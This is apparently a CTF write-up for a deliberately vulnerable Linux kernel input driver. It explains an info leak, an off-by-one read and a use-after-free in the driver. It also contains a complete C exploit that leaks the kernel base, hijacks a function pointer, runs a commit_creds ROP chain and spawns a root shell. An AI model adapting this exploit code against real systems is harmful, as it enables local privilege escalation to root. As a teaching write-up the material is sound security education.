0x00. Introduction
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./tmp/"$ROOTFS_NAME".cpio \
-append 'root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr' \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,smep \
-smp 1 \
KASLR and SMEP are enabled.
The source code and intended solution are available on the author’s github.
Concept
This mimics an input device driver that connects user input devices like keyboard and mouse to the kernel. For example, when a specific key is pressed on the keyboard hardware:
- The driver identifies the key by scan code
- Reports it by generating an event to the Linux Input Subsystem
- Exposes it through device files like
/dev/input/eventX
User space reads the /dev/input/eventX device file and translates it into actual actions.
0x01. Vulnerability
Info Leak
static int report_touch_press(char *start, int len) {
int i;
if(!len) {
printk("len error");
return -1;
}
for(i=0; i<=len; i++) { input_report_key(test_dev, BTN_TOUCH, 1);
input_report_abs(test_dev, ABS_X, *(char *)(start+i));
input_report_abs(test_dev, ABS_Y, *(char *)(start+i));
input_sync(test_dev);
}
return 0;
}
...
static long input_test_driver_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
switch(cmd) {
case 0x1337:
printk("report_touch_press call");
mutex_lock(&test_mutex);
if(!_fp) {
_fp = kzalloc(sizeof(struct fp_struct), GFP_ATOMIC);
_fp->fp_report_ps = report_touch_press;
_fp->fp_report_rl = report_touch_release;
_fp->gift = printk;
_fp->gift("_fp class allocate");
}
_fp->fp_report_ps(ptr, strlen(ptr));
mutex_unlock(&test_mutex);
break;
...
}
...
}
input_test_driver_ioctl() is called internally in the kernel when user space calls ioctl() on this driver. Calling ioctl() with cmd set to 0x1337 initializes the structure if _fp doesn’t exist and calls fp_report_ps().
report_touch_press() and report_touch_release() detect touchscreen press and release events respectively. At this point, the second argument len receives strlen(ptr). Then the length until ptr encounters NULL is passed to len, so filling all \x00s enables leaking subsequent memory.
This alone seems sufficient, but there’s also a 1-byte OOB inside report_touch_press() due to checking range with for(i=0; i<=len; i++).
Use After Free
static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
char *result;
size_t len;
mutex_lock(&test_mutex);
if(ptr) {
kfree(ptr); }
if(count<256) {
len = count;
count = 256;
} else if(count>0x40000) {
len = 416;
} else {
len = count;
}
if(result = (char *)kmalloc(count, GFP_ATOMIC)) ptr = result;
if (copy_from_user(ptr, buf, len) != 0) {
mutex_unlock(&test_mutex);
return -EFAULT;
}
mutex_unlock(&test_mutex);
return 0;
}
input_test_driver_write() is called internally when user space calls write() on this driver.
The problem is that when ptr is not NULL, it frees and reallocates the region ptr is pointing at, but doesn’t initialize ptr. Instead, it allocates a new slab object and assigns the address to ptr, creating another vulnerability.
When the kernel’s kmalloc() requests a too large slab object, the allocation fails and returns NULL. If result is NULL, ptr doesn’t get updated, leaving the freed ptr as a dangling pointer.
0x02. Exploit
Info Leak
Before proceeding with exploitation, reviewing the protections: SMEP requires kernel ROP, but KASLR requires obtaining the kernel base address.
static struct fp_struct {
char dummy[392];
asmlinkage int (*gift)(const char *, ...);
int (*fp_report_ps)(char *, int);
int (*fp_report_rl)(void);
};
Obviously, the variable name fp_struct->gift contains the address of the printk() function. Therefore, filling dummy completely exploits the info leak vulnerability using strlen() for length measurement, printing up to the address stored in gift.
static int input_test_driver_release(struct inode *inode, struct file *file) {
printk("input_test_driver release");
mutex_lock(&test_mutex);
if(ptr) {
kfree(ptr);
ptr = 0;
}
if(_fp) {
kfree(_fp);
_fp = 0;
}
mutex_unlock(&test_mutex);
return 0;
}
Looking at input_test_driver_release() which is called on closing the file descriptor opened for driver communication, it frees and initializes both ptr and _fp.
However, since data inside the slab object isn’t cleared, allocating a ptr of similar size to the freed _fp reuses the freed region.
fd1 = open("/dev/input/event2", O_RDONLY);
fd2 = open("/dev/input_test_driver", O_RDWR);
write(fd2, "AAAAAAAA", 8); ioctl(fd2, 0x1337, NULL);
close(fd2);
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x42, 392);
write(fd2, payload, 392);
ioctl(fd2, 0x1337, NULL);
Allocating _fp through ioctl() and closing moves _fp to the kmalloc-512 cache since the slab object size is 416 bytes. Attempting to allocate a 392-byte slab object to avoid overwriting printk()’s address returns an object from the kmalloc-512 cache.
Filling 392 bytes with a non-zero value (0x42) makes strlen() measure length until encountering NULL, leaking printk()’s address.
/ $ ./exp
type: 1, code: 330, value: 0x1
type: 3, code: 0, value: 0x41
type: 3, code: 1, value: 0x41
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0x0
type: 3, code: 1, value: 0x0
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0x42
type: 3, code: 1, value: 0x42
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0x20
type: 3, code: 1, value: 0x20
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0xb8
type: 3, code: 1, value: 0xb8
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0xae
type: 3, code: 1, value: 0xae
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0xb3
type: 3, code: 1, value: 0xb3
leak : 0xffffffffb3aeb820
Use After Free
After triggering the UAF vulnerability, ptr becomes a dangling pointer to a freed slab object. If this slab object is in the kmalloc-512 cache, allocating _fp through ioctl() returns that object.
static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
...
if(count<256) {
len = count;
count = 256;
} else if(count>0x40000) {
len = 416;
} else {
len = count;
}
if(result = (char *)kmalloc(count, GFP_ATOMIC))
ptr = result;
if (copy_from_user(ptr, buf, len) != 0) {
mutex_unlock(&test_mutex);
return -EFAULT;
}
...
}
This makes ptr and _fp point to the same slab object. Even if kmalloc() fails due to large size, copy_from_user() is still executed, allowing us to overwrite _fp’s function pointers.
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x43, 392);
write(fd2, payload, 416);
write(fd2, payload, 0x500000);
ioctl(fd2, 0x1337, NULL);
*(uint64_t *)(payload + 408) = xchg_64;
write(fd2, payload, 0x510000);
ioctl(fd2, 0x7331, NULL);
The exploitation flow:
- Allocate 416-byte slab object through
write() - Call
write() again to: - Free existing slab object, moving to
kmalloc-512 - Intentionally request large object size to fail update
- Allocate
_fp through ioctl(), receiving slab object from kmalloc-512 - Final
write() call overwrites function pointer while writing 416 bytes to ptr (i.e., _fp)
Since we can only control RIP by changing function pointers, we can deliver a ROP payload using an xchg eax, esp gadget and fake stack.
0x03. Payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <linux/input.h>
void shell() {
execl("/bin/sh", "sh", NULL);
}
struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
rv.user_rip = &shell;
}
void set_fake_stack(void *xchg_64) {
uint32_t xchg_32;
int i = 0;
size_t pop_rdi_ret = xchg_64 + 0x6170f;
size_t prepare_kernel_cred = xchg_64 + 0x8fe8f;
size_t pop_rcx_ret = xchg_64 + 0x285312;
size_t mov_rdi_rax_rep_pop_rbp_ret = xchg_64 + 0xf2ee;
size_t commit_creds = xchg_64 + 0x8fadf;
size_t swapgs_pop_rbp_ret = xchg_64 + 0x4c103;
size_t iretq = xchg_64 + 0x2bc4f;
xchg_32 = (uint32_t)xchg_64;
mmap((void *)(xchg_32), 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
backup_rv();
((uint64_t *)xchg_32)[i++] = pop_rdi_ret;
((uint64_t *)xchg_32)[i++] = 0;
((uint64_t *)xchg_32)[i++] = prepare_kernel_cred;
((uint64_t *)xchg_32)[i++] = pop_rcx_ret;
((uint64_t *)xchg_32)[i++] = 0;
((uint64_t *)xchg_32)[i++] = mov_rdi_rax_rep_pop_rbp_ret;
((uint64_t *)xchg_32)[i++] = 0; ((uint64_t *)xchg_32)[i++] = commit_creds;
((uint64_t *)xchg_32)[i++] = swapgs_pop_rbp_ret;
((uint64_t *)xchg_32)[i++] = 0; ((uint64_t *)xchg_32)[i++] = iretq;
((uint64_t *)xchg_32)[i++] = rv.user_rip;
((uint64_t *)xchg_32)[i++] = rv.user_cs;
((uint64_t *)xchg_32)[i++] = rv.user_rflags;
((uint64_t *)xchg_32)[i++] = rv.user_rsp;
((uint64_t *)xchg_32)[i++] = rv.user_ss;
}
int main() {
struct input_event ie;
int fd1, fd2, ret;
char payload[416];
size_t leak = 0xffffffff00000000;
int i = 0, flag = 0;
size_t xchg_64;
fd1 = open("/dev/input/event2", O_RDONLY);
fd2 = open("/dev/input_test_driver", O_RDWR);
write(fd2, "AAAAAAAA", 8);
ioctl(fd2, 0x1337, NULL);
close(fd2);
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x42, 392);
write(fd2, payload, 392);
ioctl(fd2, 0x1337, NULL);
while(1) {
read(fd1, &ie, sizeof(struct input_event));
printf("type: %d, code: %d, value: 0x%x \n", ie.type, ie.code, (unsigned char)ie.value);
if(ie.code == 1 && ie.value == 0x20 || ie.code == 1 && flag) {
leak = leak | (unsigned char)(ie.value) << (flag * 8);
flag++;
if(flag == 4)
break;
}
}
printf("leak : 0x%lx\n", leak);
xchg_64 = leak - 0xcdd5f;
printf("xchg_64 : 0x%lx\n", xchg_64);
close(fd1);
close(fd2);
set_fake_stack(xchg_64);
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x43, 392);
write(fd2, payload, 416);
write(fd2, payload, 0x500000);
ioctl(fd2, 0x1337, NULL);
*(uint64_t *)(payload + 408) = xchg_64;
write(fd2, payload, 0x510000);
ioctl(fd2, 0x7331, NULL);
close(fd2);
return 0;
}